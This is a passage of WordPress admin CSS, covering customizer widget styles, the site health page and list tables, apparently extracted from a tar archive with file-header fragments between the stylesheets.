.widget-action .toggle-indicator:before { content: "\f142"; } .customize-control-widget_form.wide-widget-control .widget-action .toggle-indicator:before { content: "\f141"; } .customize-control-widget_form.wide-widget-control.expanded .widget-action .toggle-indicator:before { content: "\f139"; } .widget-title-action { cursor: pointer; } .widget-top, .customize-control-widget_form .widget .customize-control-title { cursor: move; } .control-section.accordion-section.highlighted > .accordion-section-title, .customize-control-widget_form.highlighted { outline: none; box-shadow: 0 0 2px rgba(79, 148, 212, 0.8); position: relative; z-index: 1; } #widget-customizer-control-templates { display: none; } /** * Widget reordering styles */ #customize-theme-controls .widget-reorder-nav { display: none; float: left; background-color: #f6f7f7; } .move-widget:before { content: "\f504"; content: "\f504" / ''; } #customize-theme-controls .move-widget-area { display: none; background: #fff; border: 1px solid #c3c4c7; border-top: none; cursor: auto; } #customize-theme-controls .reordering .move-widget-area.active { display: block; } #customize-theme-controls .move-widget-area .description { margin: 0; padding: 15px 20px; font-weight: 400; } #customize-theme-controls .widget-area-select { margin: 0; padding: 0; list-style: none; } #customize-theme-controls .widget-area-select li { position: relative; margin: 0; padding: 13px 42px 15px 15px; color: #50575e; border-top: 1px solid #c3c4c7; cursor: pointer; -webkit-user-select: none; user-select: none; } #customize-theme-controls .widget-area-select li:before { display: none; content: "\f147"; content: "\f147" / ''; position: absolute; top: 12px; right: 10px; font: normal 20px/1 dashicons; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } #customize-theme-controls .widget-area-select li:last-child { border-bottom: 1px solid #c3c4c7; } #customize-theme-controls .widget-area-select .selected { color: #fff; background: var(--wp-admin-theme-color); } #customize-theme-controls .widget-area-select .selected:before { display: block; } #customize-theme-controls .move-widget-actions { text-align: left; padding: 12px; } #customize-theme-controls .reordering .widget-title-action { display: none; } #customize-theme-controls .reordering .widget-reorder-nav { display: block; } /* Text Widget */ .wp-customizer div.mce-inline-toolbar-grp, .wp-customizer div.mce-tooltip { z-index: 500100 !important; } .wp-customizer .ui-autocomplete.wplink-autocomplete { z-index: 500110; /* originally 100110, but z-index of .wp-full-overlay is 500000 */ } .wp-customizer #wp-link-backdrop { z-index: 500100; /* originally 100100, but z-index of .wp-full-overlay is 500000 */ } .wp-customizer #wp-link-wrap { z-index: 500105; /* originally 100105, but z-index of .wp-full-overlay is 500000 */ } /** * Styles for new widget addition panel */ /* override widgets admin page rules in wp-admin/css/widgets.css */ #widgets-left #available-widgets .widget { float: none !important; width: auto !important; } /* Keep rule that is no longer necessary on widgets.php. */ #available-widgets .widget-action { display: none; } .ios #available-widgets { transition: right 0s; } #available-widgets .widget-tpl:hover, #available-widgets .widget-tpl.selected { background: #f6f7f7; border-bottom-color: #c3c4c7; color: var(--wp-admin-theme-color);; border-right: 4px solid var(--wp-admin-theme-color); } #customize-controls .widget-title h3 { font-size: 1em; } #available-widgets .widget-title h3 { padding: 0 0 5px; font-size: 14px; } #available-widgets .widget .widget-description { padding: 0; color: #646970; } @media (prefers-reduced-motion: no-preference) { #customize-preview { transition: all 0.2s; } } body.adding-widget #available-widgets { right: 0; visibility: visible; } body.adding-widget .wp-full-overlay-main { right: 300px; } body.adding-widget #customize-preview { opacity: 0.4; } /** * Widget Icon styling * No plurals in naming. * Ordered from lowest to highest specificity. */ #available-widgets .widget-title { position: relative; } #available-widgets .widget-title:before { content: "\f132"; content: "\f132" / ''; position: absolute; top: -3px; left: 100%; margin-left: 20px; width: 20px; height: 20px; color: #2c3338; font: normal 20px/1 dashicons; text-align: center; box-sizing: border-box; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } /* dashicons-smiley */ #available-widgets [class*="easy"] .widget-title:before { content: "\f328"; content: "\f328" / ''; top: -4px; } /* dashicons-star-filled */ #available-widgets [class*="super"] .widget-title:before, #available-widgets [class*="like"] .widget-title:before { content: "\f155"; content: "\f155" / ''; top: -4px; } /* dashicons-wordpress */ #available-widgets [class*="meta"] .widget-title:before { content: "\f120"; content: "\f120" / ''; } /* dashicons-archive */ #available-widgets [class*="archives"] .widget-title:before { content: "\f480"; content: "\f480" / ''; top: -4px; } /* dashicons-category */ #available-widgets [class*="categor"] .widget-title:before { content: "\f318"; content: "\f318" / ''; top: -4px; } /* dashicons-admin-comments */ #available-widgets [class*="comment"] .widget-title:before, #available-widgets [class*="testimonial"] .widget-title:before, #available-widgets [class*="chat"] .widget-title:before { content: "\f101"; content: "\f101" / ''; } /* dashicons-admin-post */ #available-widgets [class*="post"] .widget-title:before { content: "\f109"; content: "\f109" / ''; } /* dashicons-admin-page */ #available-widgets [class*="page"] .widget-title:before { content: "\f105"; content: "\f105" / ''; } /* dashicons-text */ #available-widgets [class*="text"] .widget-title:before { content: "\f478"; content: "\f478" / ''; } /* dashicons-admin-links */ #available-widgets [class*="link"] .widget-title:before { content: "\f103"; content: "\f103" / ''; } /* dashicons-search */ #available-widgets [class*="search"] .widget-title:before { content: "\f179"; content: "\f179" / ''; } /* dashicons-menu */ #available-widgets [class*="menu"] .widget-title:before, #available-widgets [class*="nav"] .widget-title:before { content: "\f333"; content: "\f333" / ''; } /* dashicons-tagcloud */ #available-widgets [class*="tag"] .widget-title:before { content: "\f479"; content: "\f479" / ''; } /* dashicons-rss */ #available-widgets [class*="rss"] .widget-title:before { content: "\f303"; content: "\f303" / ''; top: -6px; } /* dashicons-calendar */ #available-widgets [class*="event"] .widget-title:before, #available-widgets [class*="calendar"] .widget-title:before { content: "\f145"; content: "\f145" / ''; top: -4px; } /* dashicons-format-image */ #available-widgets [class*="image"] .widget-title:before, #available-widgets [class*="photo"] .widget-title:before, #available-widgets [class*="slide"] .widget-title:before, #available-widgets [class*="instagram"] .widget-title:before { content: "\f128"; content: "\f128" / ''; } /* dashicons-format-gallery */ #available-widgets [class*="album"] .widget-title:before, #available-widgets [class*="galler"] .widget-title:before { content: "\f161"; content: "\f161" / ''; } /* dashicons-format-video */ #available-widgets [class*="video"] .widget-title:before, #available-widgets [class*="tube"] .widget-title:before { content: "\f126"; content: "\f126" / ''; } /* dashicons-format-audio */ #available-widgets [class*="music"] .widget-title:before, #available-widgets [class*="radio"] .widget-title:before, #available-widgets [class*="audio"] .widget-title:before { content: "\f127"; content: "\f127" / ''; } /* dashicons-admin-users */ #available-widgets [class*="login"] .widget-title:before, #available-widgets [class*="user"] .widget-title:before, #available-widgets [class*="member"] .widget-title:before, #available-widgets [class*="avatar"] .widget-title:before, #available-widgets [class*="subscriber"] .widget-title:before, #available-widgets [class*="profile"] .widget-title:before, #available-widgets [class*="grofile"] .widget-title:before { content: "\f110"; content: "\f110" / ''; } /* dashicons-cart */ #available-widgets [class*="commerce"] .widget-title:before, #available-widgets [class*="shop"] .widget-title:before, #available-widgets [class*="cart"] .widget-title:before { content: "\f174"; content: "\f174" / ''; top: -4px; } /* dashicons-shield */ #available-widgets [class*="secur"] .widget-title:before, #available-widgets [class*="firewall"] .widget-title:before { content: "\f332"; content: "\f332" / ''; } /* dashicons-chart-bar */ #available-widgets [class*="analytic"] .widget-title:before, #available-widgets [class*="stat"] .widget-title:before, #available-widgets [class*="poll"] .widget-title:before { content: "\f185"; content: "\f185" / ''; } /* dashicons-feedback */ #available-widgets [class*="form"] .widget-title:before { content: "\f175"; content: "\f175" / ''; } /* dashicons-email-alt */ #available-widgets [class*="subscribe"] .widget-title:before, #available-widgets [class*="news"] .widget-title:before, #available-widgets [class*="contact"] .widget-title:before, #available-widgets [class*="mail"] .widget-title:before { content: "\f466"; content: "\f466" / ''; } /* dashicons-share */ #available-widgets [class*="share"] .widget-title:before, #available-widgets [class*="socia"] .widget-title:before { content: "\f237"; content: "\f237" / ''; } /* dashicons-translation */ #available-widgets [class*="lang"] .widget-title:before, #available-widgets [class*="translat"] .widget-title:before { content: "\f326"; content: "\f326" / ''; } /* dashicons-location-alt */ #available-widgets [class*="locat"] .widget-title:before, #available-widgets [class*="map"] .widget-title:before { content: "\f231"; content: "\f231" / ''; } /* dashicons-download */ #available-widgets [class*="download"] .widget-title:before { content: "\f316"; content: "\f316" / ''; } /* dashicons-cloud */ #available-widgets [class*="weather"] .widget-title:before { content: "\f176"; content: "\f176" / ''; top: -4px; } /* dashicons-facebook */ #available-widgets [class*="facebook"] .widget-title:before { content: "\f304"; content: "\f304" / ''; } /* dashicons-twitter */ #available-widgets [class*="tweet"] .widget-title:before, #available-widgets [class*="twitter"] .widget-title:before { content: "\f301"; content: "\f301" / ''; } @media screen and (max-height: 700px) and (min-width: 981px) { /* Compact widget-tops on smaller laptops, but not tablets. See ticket #27112#comment:4 */ .customize-control-widget_form { margin-bottom: 0; } .widget-top { box-shadow: none; margin-top: -1px; } .widget-top:hover { position: relative; z-index: 1; } .last-widget { margin-bottom: 15px; } .widget-title h3 { padding: 13px 15px; } .widget-top .widget-action { padding: 8px 10px; } .widget-reorder-nav span { height: 39px; } .widget-reorder-nav span:before { line-height: 39px; } /* Compact the move widget areas. */ #customize-theme-controls .widget-area-select li { padding: 9px 42px 11px 15px; } #customize-theme-controls .widget-area-select li:before { top: 8px; } } css/site-health-rtl.min.css 0000644 00000012400 15233246127 0011640 0 ustar 00 /*! This file is auto-generated */ .health-check-body h2{line-height:1.4}.health-check-body h3{padding:0;font-weight:400}.site-health-progress-wrapper{margin-bottom:1rem}.site-health-progress{display:inline-block;height:20px;width:20px;margin:0;border-radius:100%;position:relative;font-weight:600;font-size:.4rem}.site-health-progress-count{position:absolute;display:block;height:80px;width:80px;right:50%;top:50%;margin-top:-40px;margin-right:-40px;border-radius:100%;line-height:6.3;font-size:2em}.loading .site-health-progress svg #bar{stroke-dashoffset:0;stroke:#c3c4c7;animation:loadingPulse 3s infinite ease-in-out}.site-health-progress svg circle{stroke-dashoffset:0;transition:stroke-dashoffset 1s linear;stroke:#c3c4c7;stroke-width:2em}.site-health-progress svg #bar{stroke-dashoffset:565;stroke:#d63638}.green .site-health-progress #bar{stroke:#00a32a}.green .site-health-progress .site-health-progress-label{color:#00a32a}.orange .site-health-progress #bar{stroke:#dba617}.orange .site-health-progress .site-health-progress-label{color:#dba617}.site-health-progress-label{font-weight:600;line-height:20px;margin-right:.3rem}@keyframes loadingPulse{0%{stroke:#c3c4c7}50%{stroke:var(--wp-admin-theme-color)}100%{stroke:#c3c4c7}}.health-check-tabs-wrapper{display:-ms-inline-grid;-ms-grid-columns:1fr 1fr 1fr 1fr;vertical-align:top;display:inline-grid;grid-template-columns:1fr 1fr 1fr 1fr}.health-check-tabs-wrapper.tab-count-1{grid-template-columns:1fr}.health-check-tabs-wrapper.tab-count-2{grid-template-columns:1fr 1fr}.health-check-tabs-wrapper.tab-count-3{grid-template-columns:1fr 1fr 1fr}.health-check-tab{display:block;text-decoration:none;color:inherit;padding:.5rem 1rem 1rem;margin:0 1rem;transition:box-shadow .5s ease-in-out}.health-check-offscreen-nav-wrapper{position:relative;background:0 0;border:none}.health-check-offscreen-nav-wrapper:focus .health-check-offscreen-nav{right:initial}.health-check-offscreen-nav{display:none;position:absolute;padding-top:10px;left:0;top:100%;width:13rem}.health-check-offscreen-nav-wrapper.visible .health-check-offscreen-nav{display:inline-block}.health-check-offscreen-nav:before{position:absolute;content:"";width:0;height:0;border-style:solid;border-width:0 10px 5px;border-color:transparent transparent #fff;left:20px;top:5px}.health-check-offscreen-nav .health-check-tab{background:#fff;box-shadow:0 2px 5px 0 rgba(0,0,0,.75)}.health-check-offscreen-nav .health-check-tab.active{box-shadow:inset -3px 0 #3582c4;font-weight:600}.health-check-body{max-width:800px;margin:0 auto}.widefat.health-check-table th{font-size:13px}.health-check-table td:first-child{width:30%}.health-check-table td{width:70%}.health-check-table ol,.health-check-table ul{margin:0}.health-check-body li{line-height:1.5}.health-check-body .good::before,.health-check-body .pass::before{content:"\f147";content:"\f147"/'';color:#00a32a}.health-check-body .warning::before{content:"\f460";content:"\f460"/'';color:#dba617}.health-check-body .info::before{content:"\f348";content:"\f348"/'';color:#72aee6}.health-check-body .error::before,.health-check-body .fail::before{content:"\f335";content:"\f335"/'';color:#d63638}.site-health-copy-buttons{margin:1rem 0}.site-health-copy-buttons .copy-button-wrapper{display:inline-flex;align-items:center;margin:.5rem 0 1rem}.site-health-copy-buttons .success{color:#007017;margin-right:.5rem}.site-status-has-issues.hide{display:none}.site-health-view-more{text-align:center}.site-health-issues-wrapper:first-of-type{margin-top:3rem}.site-health-issues-wrapper{margin-bottom:3rem;margin-top:2rem}.site-status-all-clear{display:flex;flex-direction:column;align-items:center;justify-content:center;text-align:center;height:100%;width:100%;margin:0 0 3rem}@media all and (min-width:784px){.site-status-all-clear{margin:2rem 0 5rem}}.site-status-all-clear.hide{display:none}.site-status-all-clear .dashicons{font-size:150px;height:150px;margin-bottom:2rem;width:150px}.site-status-all-clear .encouragement{font-size:1.5rem;font-weight:600}.site-status-all-clear p{margin:0}.wp-core-ui .button.site-health-view-passed{position:relative;padding-left:40px;padding-right:20px}.health-check-wp-paths-sizes.spinner{visibility:visible;float:none;margin:0 4px;flex-shrink:0}#dashboard_site_health .site-health-details{padding-right:16px}#dashboard_site_health .site-health-details p:first-child{margin-top:0}#dashboard_site_health .site-health-details p:last-child{margin-bottom:0}#dashboard_site_health .health-check-widget{display:grid;grid-template-columns:1fr 2fr;grid-auto-rows:minmax(64px,auto);column-gap:16px;align-items:center}#dashboard_site_health .site-health-progress-label{margin-right:0}.health-check-widget-title-section{margin-bottom:0;text-align:center}@media screen and (max-width:480px){#dashboard_site_health .health-check-widget{grid-template-columns:100%}}@media screen and (max-width:782px){.site-health-issues-wrapper .health-check-accordion-trigger{flex-direction:column;align-items:flex-start}.health-check-accordion-trigger .badge{margin:1em 0 0}.health-check-table{table-layout:fixed}.health-check-table td,.health-check-table th{box-sizing:border-box;display:block;width:100%;word-wrap:break-word}.health-check-table td:first-child,.widefat.health-check-table th{width:100%;padding-bottom:0;font-weight:600}.wp-core-ui .site-health-copy-buttons .copy-button{margin-bottom:0}} css/list-tables-rtl.min.css 0000644 00000110254 15233246127 0011662 0 ustar 00 /*! This file is auto-generated */ .response-links{display:block;margin-bottom:1em}.response-links a{display:block}.response-links a.comments-edit-item-link{font-weight:600}.response-links a.comments-view-item-link{font-size:12px}.post-com-count-wrapper strong{font-weight:400}.comments-view-item-link{display:inline-block;clear:both}.column-comments .post-com-count-wrapper,.column-response .post-com-count-wrapper{white-space:nowrap;word-wrap:normal}.column-comments .post-com-count,.column-response .post-com-count{display:inline-block;vertical-align:top}.column-comments .post-com-count-approved,.column-comments .post-com-count-no-comments,.column-response .post-com-count-approved,.column-response .post-com-count-no-comments{margin-top:5px}.column-comments .comment-count-approved,.column-comments .comment-count-no-comments,.column-response .comment-count-approved,.column-response .comment-count-no-comments{box-sizing:border-box;display:block;padding:0 8px;min-width:24px;height:2em;border-radius:5px;background-color:#646970;color:#fff;font-size:11px;line-height:1.90909090;text-align:center}.column-comments .post-com-count-approved:after,.column-comments .post-com-count-no-comments:after,.column-response .post-com-count-approved:after,.column-response .post-com-count-no-comments:after{content:"";display:block;margin-right:8px;width:0;height:0;border-top:5px solid #646970;border-left:5px solid transparent}.column-comments a.post-com-count-approved:focus .comment-count-approved,.column-comments a.post-com-count-approved:hover .comment-count-approved,.column-response a.post-com-count-approved:focus .comment-count-approved,.column-response a.post-com-count-approved:hover .comment-count-approved{background:#3858e9}.column-comments a.post-com-count-approved:focus:after,.column-comments a.post-com-count-approved:hover:after,.column-response a.post-com-count-approved:focus:after,.column-response a.post-com-count-approved:hover:after{border-top-color:#3858e9}.column-comments .post-com-count-pending,.column-response .post-com-count-pending{position:relative;right:-3px;padding:0 5px;min-width:7px;height:17px;border:2px solid #fff;border-radius:11px;background:#d63638;color:#fff;font-size:9px;line-height:1.88888888;text-align:center}.column-comments .post-com-count-no-pending,.column-response .post-com-count-no-pending{display:none}.commentlist li{padding:1em 1em .2em;margin:0;border-bottom:1px solid #c3c4c7}.commentlist li li{border-bottom:0;padding:0}.commentlist p{padding:0;margin:0 0 .8em}#submitted-on,.submitted-on{color:#50575e}#replyrow td{padding:2px}#replysubmit{margin:0;padding:5px 7px 10px;overflow:hidden}#replysubmit .reply-submit-buttons{margin-bottom:0}#replysubmit .button{margin-left:5px}#replysubmit .spinner{float:none;margin:-4px 0 0}#replyrow.inline-edit-row fieldset.comment-reply{font-size:inherit;line-height:inherit}#replyrow legend{margin:0;padding:.2em 5px 0;font-size:13px;line-height:1.4;font-weight:600}#replyrow.inline-edit-row label{display:inline;vertical-align:baseline;line-height:inherit}#commentsdiv #edithead .inside,#edithead .inside{float:right;padding:3px 5px 2px 0;margin:0;text-align:center}#edithead .inside input{width:180px}#edithead label{padding:2px 0}#replycontainer{padding:5px}#replycontent{height:120px;box-shadow:none}#replyerror{border-color:#dcdcde;background-color:#f6f7f7}.commentlist .avatar{vertical-align:text-top}#the-comment-list div.undo,#the-comment-list tr.undo{background-color:#f6f7f7}#the-comment-list .unapproved td,#the-comment-list .unapproved th{background-color:#fcf9e8}#the-comment-list .unapproved th.check-column{border-right:4px solid #d63638}#the-comment-list .unapproved th.check-column input{margin-right:4px}#the-comment-list .approve a{color:#007017}#the-comment-list .unapprove a{color:#996800}#the-comment-list td,#the-comment-list th{box-shadow:inset 0 -1px 0 rgba(0,0,0,.1)}#the-comment-list tr:last-child td,#the-comment-list tr:last-child th{box-shadow:none}#the-comment-list tr.unapproved+tr.approved td,#the-comment-list tr.unapproved+tr.approved th{border-top:1px solid rgba(0,0,0,.03)}.vim-current,.vim-current td,.vim-current th{background-color:rgba(var(--wp-admin-theme-color--rgb),.08)!important}th .comment-grey-bubble{width:16px;position:relative;top:2px}th .comment-grey-bubble:before{content:"\f101";content:"\f101"/'';font:normal 20px/.5 dashicons;display:inline-block;padding:0;top:4px;right:-4px;position:relative;vertical-align:top;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none!important;color:#3c434a}table.fixed{table-layout:fixed}.fixed .column-rating,.fixed .column-visible{width:8%}.fixed .column-author,.fixed .column-format,.fixed .column-links,.fixed .column-parent,.fixed .column-posts{width:10%}.fixed .column-date{width:14%}.column-date span[title]{-webkit-text-decoration:dotted underline;text-decoration:dotted underline}.fixed .column-posts{width:74px}.fixed .column-posts,.fixed .column-role{hyphens:auto}.fixed .column-comment .comment-author{display:none}.fixed .column-categories,.fixed .column-rel,.fixed .column-response,.fixed .column-role,.fixed .column-tags{width:15%}.fixed .column-slug{width:25%}.fixed .column-locations{width:35%}.fixed .column-comments{width:5.5em;text-align:right}.fixed .column-comments .vers{padding-right:3px}td.column-title strong,td.plugin-title strong{display:block;margin-bottom:.2em;font-size:14px}td.column-title p,td.plugin-title p{margin:6px 0}table.media .column-title .media-icon{float:right;min-height:60px;margin:0 0 0 9px}table.media .column-title .media-icon img{max-width:60px;height:auto;vertical-align:top}table.media .column-title .has-media-icon~.row-actions{margin-right:70px}table.media .column-title .filename{margin-bottom:.2em}.media .row-actions .copy-to-clipboard-container{display:inline;position:relative}.media .row-actions .copy-to-clipboard-container .success{position:absolute;right:50%;transform:translate(50%,-100%);background:#000;color:#fff;border-radius:5px;margin:0;padding:2px 5px}.wp-list-table a{transition:none}#the-list tr:last-child td,#the-list tr:last-child th{border-bottom:none!important;box-shadow:none}#comments-form .fixed .column-author{width:20%}#commentsdiv.postbox .inside{margin:0;padding:0}#commentsdiv .inside .row-actions{line-height:1.38461538}#commentsdiv .inside .column-author{width:25%}#commentsdiv .column-comment p{margin:.6em 0;padding:0}#commentsdiv #replyrow td{padding:0}#commentsdiv p{padding:8px 10px;margin:0}#commentsdiv .comments-box{border:0 none}#commentsdiv .comments-box thead td,#commentsdiv .comments-box thead th{background:0 0;padding:0 7px 4px}#commentsdiv .comments-box tr:last-child td{border-bottom:0 none}#commentsdiv #edithead .inside input{width:160px}.sorting-indicators{display:grid}.sorting-indicator{display:block;width:10px;height:4px;margin-top:4px;margin-right:7px}.sorting-indicator:before{font:normal 20px/1 dashicons;display:inline-block;padding:0;top:-4px;right:-8px;line-height:.5;position:relative;vertical-align:top;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none!important;color:#a7aaad}.sorting-indicator.asc:before{content:"\f142";content:"\f142"/''}.sorting-indicator.desc:before{content:"\f140";content:"\f140"/''}th.sorted.desc .sorting-indicator.desc:before{color:#1d2327}th.sorted.asc .sorting-indicator.asc:before{color:#1d2327}th.sorted.asc a:focus .sorting-indicator.asc:before,th.sorted.asc:hover .sorting-indicator.asc:before,th.sorted.desc a:focus .sorting-indicator.desc:before,th.sorted.desc:hover .sorting-indicator.desc:before{color:#a7aaad}th.sorted.asc a:focus .sorting-indicator.desc:before,th.sorted.asc:hover .sorting-indicator.desc:before,th.sorted.desc a:focus .sorting-indicator.asc:before,th.sorted.desc:hover .sorting-indicator.asc:before{color:#1d2327}.wp-list-table .toggle-row{position:absolute;left:8px;top:10px;display:none;padding:0;width:40px;height:40px;border:none;outline:0;background:0 0}.wp-list-table .toggle-row:hover{cursor:pointer}.wp-list-table .toggle-row:focus:before{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}.wp-list-table .toggle-row:active{box-shadow:none}.wp-list-table .toggle-row:before{position:absolute;top:-5px;right:10px;border-radius:50%;display:block;padding:1px 0 1px 2px;color:#3c434a;content:"\f140";content:"\f140"/'';font:normal 20px/1 dashicons;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.wp-list-table .is-expanded .toggle-row:before{content:"\f142";content:"\f142"/''}.check-column{position:relative}.check-column label{box-sizing:border-box;width:100%;height:100%;display:block;position:absolute;top:0;right:0}.check-column input{position:relative;z-index:1}.check-column .label-covers-full-cell:hover+input:not(:disabled){box-shadow:0 0 0 1px #2271b1}.check-column input:hover+label,.check-column label:hover{background:rgba(0,0,0,.05)}.locked-indicator{display:none;margin-right:6px;height:20px;width:16px}.locked-indicator-icon:before{color:#8c8f94;content:"\f160";content:"\f160"/'';display:inline-block;font:normal 20px/1 dashicons;vertical-align:middle;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.locked-info{display:none;margin-top:4px}.locked-text{vertical-align:top}.wp-locked .locked-indicator,.wp-locked .locked-info{display:block}tr.wp-locked .check-column input[type=checkbox],tr.wp-locked .check-column label,tr.wp-locked .row-actions .inline,tr.wp-locked .row-actions .trash{display:none}#menu-locations-wrap .widefat{width:60%}.widefat th.sortable,.widefat th.sorted{padding:0}th.sortable a,th.sorted a{display:block;overflow:hidden;padding:8px}th.sortable a:focus,th.sorted a:focus{border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}th.sortable a span,th.sorted a span{float:right;cursor:pointer}.tablenav-pages .current-page{vertical-align:top;margin:0 0 0 2px;font-size:13px;text-align:center;min-height:32px;padding:0 8px}.tablenav .total-pages{margin-left:2px}.tablenav #table-paging{margin-right:2px}.tablenav{clear:both;height:32px;margin:6px 0 4px;vertical-align:middle}.tablenav.themes{max-width:98%}.tablenav .tablenav-pages{float:left;margin:0 0 9px}.tablenav .no-pages,.tablenav .one-page .pagination-links{display:none}.tablenav .tablenav-pages .button,.tablenav .tablenav-pages .tablenav-pages-navspan{display:inline-block;vertical-align:baseline;min-width:32px;min-height:32px;margin:0;padding:0 4px;font-size:16px;line-height:1.875;text-align:center}.tablenav .displaying-num{margin-left:7px}.tablenav .one-page .displaying-num{display:inline-block;margin:5px 0}.tablenav .actions{padding:0 0 0 8px}.wp-filter .actions{display:inline-block;vertical-align:middle}.tablenav .delete{margin-left:20px}.tablenav .view-switch{float:left;margin:0 5px;padding-top:3px}.wp-filter .view-switch{display:inline-block;vertical-align:middle;padding:12px 0;margin:0 2px 0 8px}.media-toolbar.wp-filter .view-switch{margin:0 2px 0 12px}.view-switch a{float:right;width:28px;height:28px;text-align:center;line-height:1.84615384;text-decoration:none}.view-switch a:before{color:#c3c4c7;display:inline-block;font:normal 20px/1 dashicons;vertical-align:middle;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.view-switch a:focus:before,.view-switch a:hover:before{color:#787c82}.view-switch a.current:before{color:#2271b1}.view-switch .view-list:before{content:"\f163";content:"\f163"/''}.view-switch .view-excerpt:before{content:"\f164";content:"\f164"/''}.view-switch .view-grid:before{content:"\f509";content:"\f509"/''}.filter{float:right;margin:-5px 10px 0 0}.filter .subsubsub{margin-right:-10px;margin-top:13px}.screen-per-page{width:4em}#posts-filter .wp-filter{margin-bottom:0}#posts-filter fieldset{float:right;margin:0 0 1em 1.5ex;padding:0}#posts-filter fieldset legend{padding:0 1px .2em 0}p.pagenav{margin:0;display:inline}.pagenav span{font-weight:600;margin:0 6px}.row-title{font-size:14px!important;font-weight:600}.column-comment .comment-author{margin-bottom:.6em}.column-author img,.column-comment .comment-author img,.column-username img{float:right;margin-left:10px;margin-top:1px}.row-actions{color:#646970;font-size:13px;padding:2px 0 0;position:relative;right:-9999em}.rtl .row-actions a{display:inline-block}.row-actions .network_active,.row-actions .network_only{color:#000}.comment-item:hover .row-actions,.mobile .row-actions,.no-js .row-actions,.row-actions.visible,tr:hover .row-actions{position:static}.row-actions-visible{padding:2px 0 0}#wpbody-content .inline-edit-row fieldset{float:right;margin:0;padding:0 0 0 12px;width:100%;box-sizing:border-box}#wpbody-content .inline-edit-row td fieldset:last-of-type{padding-left:0}tr.inline-edit-row td{padding:0;position:relative}.inline-edit-wrapper{display:flow-root;padding:0 12px;border:1px solid transparent;border-radius:4px}.inline-edit-wrapper:focus{border-color:var(--wp-admin-theme-color,#3858e9);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}#wpbody-content .quick-edit-row-post .inline-edit-col-left{width:40%}#wpbody-content .quick-edit-row-post .inline-edit-col-right{width:39%}#wpbody-content .inline-edit-row-post .inline-edit-col-center{width:20%}#wpbody-content .quick-edit-row-page .inline-edit-col-left{width:50%}#wpbody-content .bulk-edit-row-post .inline-edit-col-right,#wpbody-content .quick-edit-row-page .inline-edit-col-right{width:50%}#wpbody-content .bulk-edit-row .inline-edit-col-left{width:30%}#wpbody-content .bulk-edit-row-page .inline-edit-col-right{width:69%}#wpbody-content .bulk-edit-row .inline-edit-col-bottom{float:left;width:69%}#wpbody-content .inline-edit-row-page .inline-edit-col-right{margin-top:27px}.inline-edit-row fieldset .inline-edit-group{clear:both;line-height:2.5}.inline-edit-row .submit{display:flex;flex-wrap:wrap;align-items:center;clear:both;margin:0;padding:.5em 0 1em}.inline-edit-save.submit .button{margin-left:8px}.inline-edit-save .spinner{float:none;margin:0}.inline-edit-row .notice-error{box-sizing:border-box;min-width:100%;margin-top:1em}.inline-edit-row .notice-error .error{margin:.5em 0;padding:2px}#the-list .inline-edit-row .inline-edit-legend{margin:0;padding:.2em 0;line-height:2.5;font-weight:600}.inline-edit-row fieldset span.checkbox-title,.inline-edit-row fieldset span.title{margin:0;padding:0}.inline-edit-row fieldset label,.inline-edit-row fieldset span.inline-edit-categories-label{display:block;margin:.2em 0;line-height:2.5}.inline-edit-row fieldset.inline-edit-date label{display:inline-block;margin:0;vertical-align:baseline;line-height:2}.inline-edit-row fieldset label.inline-edit-tags{margin-top:0}.inline-edit-row fieldset label.inline-edit-tags span.title{margin:.2em 0;width:auto}.inline-edit-row fieldset label span.title,.inline-edit-row fieldset.inline-edit-date legend{display:block;float:right;width:6em;line-height:2.5}#posts-filter fieldset.inline-edit-date legend{padding:0}.inline-edit-row fieldset .timestamp-wrap,.inline-edit-row fieldset label span.input-text-wrap{display:block;margin-right:6em}.quick-edit-row-post fieldset.inline-edit-col-right label span.title{width:auto;padding-left:.5em}.inline-edit-row .inline-edit-or{margin:.2em 0 .2em 6px;line-height:2.5}.inline-edit-row .input-text-wrap input[type=text]{width:100%}.inline-edit-row fieldset label input[type=checkbox]{vertical-align:middle}.inline-edit-row fieldset label textarea{width:100%;height:4em;vertical-align:top}.inline-edit-row input:where(:not([type=checkbox],[type=radio],[type=submit],[type=button])),.inline-edit-row select{min-height:32px;padding:0 8px 0 8px}.inline-edit-row select{line-height:2.14285714;padding-left:24px}#wpbody-content .bulk-edit-row fieldset .inline-edit-group label{max-width:50%}#wpbody-content .quick-edit-row fieldset .inline-edit-group label.alignleft:first-child{margin-left:.5em}.inline-edit-col-right .input-text-wrap input.inline-edit-menu-order-input{width:6em}.inline-edit-row .inline-edit-legend{text-transform:uppercase}.inline-edit-row fieldset .inline-edit-date{float:right}.inline-edit-row fieldset input[name=aa],.inline-edit-row fieldset input[name=hh],.inline-edit-row fieldset input[name=jj],.inline-edit-row fieldset input[name=mn]{vertical-align:middle;text-align:center;padding:0 4px}.inline-edit-row fieldset label input.inline-edit-password-input{width:8em}#bulk-titles-list,#bulk-titles-list li,.inline-edit-row fieldset ul.cat-checklist input,.inline-edit-row fieldset ul.cat-checklist li{margin:0;position:relative}.inline-edit-row fieldset ul.cat-checklist input{margin-top:-1px;margin-right:3px}.inline-edit-row fieldset label input.inline-edit-menu-order-input{width:3em}.inline-edit-row fieldset label input.inline-edit-slug-input{width:75%}.inline-edit-row select[name=page_template],.inline-edit-row select[name=post_parent]{max-width:80%}.quick-edit-row-post fieldset label.inline-edit-status{float:right}#bulk-titles,ul.cat-checklist{height:14em;border:1px solid #ddd;margin:0 0 5px;padding:.2em 5px;overflow-y:scroll}ul.cat-checklist input[name="post_category[]"]:indeterminate::before{content:'';border-top:2px solid grey;width:65%;height:2px;position:absolute;top:calc(50% + 1px);right:50%;transform:translate(50%,-50%)}#bulk-titles .ntdelbutton,#bulk-titles .ntdeltitle,.inline-edit-row fieldset ul.cat-checklist 